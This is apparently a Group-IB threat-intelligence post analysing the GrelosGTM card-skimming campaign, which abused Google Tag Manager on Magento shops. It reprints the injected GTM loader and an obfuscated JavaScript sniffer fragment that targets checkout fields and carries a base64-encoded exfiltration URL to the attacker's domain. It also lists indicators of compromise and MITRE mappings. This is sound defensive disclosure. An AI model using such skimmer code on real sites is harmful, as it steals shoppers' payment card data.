

# GrelosGTM group abuses Google Tag Manager to attack e-commerce websites

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[i blog.group-ib.com/grelosgtm](https://blog.group-ib.com/grelosgtm)



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### **Analysis of campaign**

Group-IB analysts for the first time detected activities of a cybercriminal group that was subsequently dubbed **GrelorGTM** by our Threat Intelligence team in early April 2020, but the earliest sample associated with this group dates back to January 2020. Since the beginning of their attacks the group had two distinctive features: they preferred to use multi-stage JavaScript malware and files without extension or with **.css** extension for storing code of their JavaScript sniffers.

In their first attacks on e-commerce websites, this group used domains, which impersonated legitimate services like Google Analytics and Google Tag Manager. One year later, in April 2021, Group-IB specialists detected that apart from using domains mimicking the services, GrelotGTM group started to abuse Google Tag Manager legitimate functionality for their own purposes in infections of online shops.

### Analysis of attacks

This specific campaign started in February 2021 and affected at least seven websites running CMS Magento in Belgium, Italy, the United Kingdom, and the United States. At the time of the publication, the JS sniffer has been active on at least four websites. [Group-IB Computer Emergency Response Team](#) (CERT-GIB) has informed all the websites infected of the incident.

For the initial stage of infection GrelotGTM group injected their own Google Tag Manager scripts to the source code of targeted websites. In most cases attackers used a direct link to the script located on legitimate googletagmanager.com domain, but in some infections they used an injector as shown on Figure 1.

```
<!-- End Facebook Pixel Code -->
<script>(function(w,d,t,r,u){var f,n,i;w[u]=w[u]||[],f=function(){var o={ti:"11030776"};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!="loaded"&&s!="complete"||(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-5SF293J');</script> <script async src="
https://apps.bazaarvoice.com/deployments/cobb/main_site/production/en_US/bv.js"></script>
```

Figure 1. Example of the injected code: Google Tag Manager script "GTM-5SF293J" was created by hackers

This Google Tag Manager script (Figure 2) contains malicious inject, which loads the next stage script from the attacker's website by URL hXXs://webfaset[.]com/str.css.



```

    });
    __0x7deda6();
    __S4Lox2$[_0x1b26ff(0x74a, 0x815, 0x65a, 0x6c0)]() && setInterval(__S4Lox2$['xG'], -0x12 * -0xa1 + -0x5 * 0x765 + 0x1b9b);
  },
  'sdFMfDs': a0_0x1d53a3,
  'pAFdsR': [
    [a0_0x571f32(0x398, 0x3c0, 0x438, 0x487), a0_0x571f32(0x3d0, 0x31a, 0x3e1, 0x41e), ![]],
    ['name', 'city', ![]],
    [a0_0x571f32(0x398, 0x382, 0x481, 0x497), a0_0x571f32(0x3a6, 0x3ce, 0x47d, 0x488), ![]],
    ['name', a0_0x571f32(0x212, 0x12b, 0x13f, 0x2c1), ![]],
    [a0_0x571f32(0x398, 0x480, 0x417, 0x331), 'country_id', ![]],
    ['name', 'telephone', ![]],
    ['id', a0_0x571f32(0x37f, 0x46d, 0x301, 0x2b1) + a0_0x33668d(0x2e5, 0x2d2, 0x1f3, 0x2e6), ![]]
  ],
  'pGFds': {},
  'pSKJjdHS': [],
  'pDHDdS': ![],
  'psagjGDS': ![],
  'psdfGsSLL': '',
  'pTsdFGGE': '',
  'GDFSDhA': 'aHR0cHM6Ly93ZWJmYXNl' + 'dC5jb20vbW' + 'VkaWEvbG9n' + 'by5pbWc='
};
__S4Lox2$['xSTdsj']();
var ridm = '#checkout-payment-method-load>div>div>div.payment-method._active>div.payment-method-content>div.checkout-agreements-block';

```

Figure 4: Fragment of source code of JavaScript sniffer used by GrelosGTM group

Below you can find both MITRE ATT&CK mapping and corresponding mitigations list.

Attacks by GrelosGTM group		MITRE ATT&CK and MITRE Shield			GROUP-IB
Tactics	Techniques of adversaries	Description	Mitigations and Active Defence Techniques	Group-IB mitigation and protection products	
Resource development	T1583.001 - Acquire Infrastructure: Domains T1583.004 - Acquire Infrastructure: Server T1583.006 - Acquire Infrastructure: Web Services	GrelosGTM group acquired multiple domain names and servers for their campaign. They also created malicious Google Tag Manager script.		Threat Intelligence & Attribution	
Execution	T1059.007 - Command and Scripting Interpreter: JavaScript/Jscript	GrelosGTM group used malicious JavaScript scripts for stealing bank card data from visitors of infected e-commerce websites	M1021 - Restrict Web-Based Content	Fraud Hunting Platform Threat Intelligence & Attribution Security Assessment	
Collection	T1119 - Automated Collection T1056 - Input Capture	GrelosGTM group used automated collection of bank card data during checkout on infected websites		Fraud Hunting Platform Threat Intelligence & Attribution Security Assessment	
Exfiltration	T1020 - Automated Exfiltration	GrelosGTM group used automated exfiltration of stolen bank cards	M1031 - Network Intrusion Prevention	Fraud Hunting Platform	

Group-IB, 2021

Lear more about Group-IB's [Threat Intelligence & Attribution](#), [Fraud Hunting Platform](#), and [Security Assessment](#) service on our [website](#).

**Indicators of compromise**

- webfaset[.]com

- [fountm\[.\]online](#)
- [jqwereid\[.\]online](#)
- [bulder\[.\]online](#)
- [gstats\[.\]com](#)
- [hXXps://www.googletagmanager\[.\]com/gtm.js?id=GTM-5SF293J](#)

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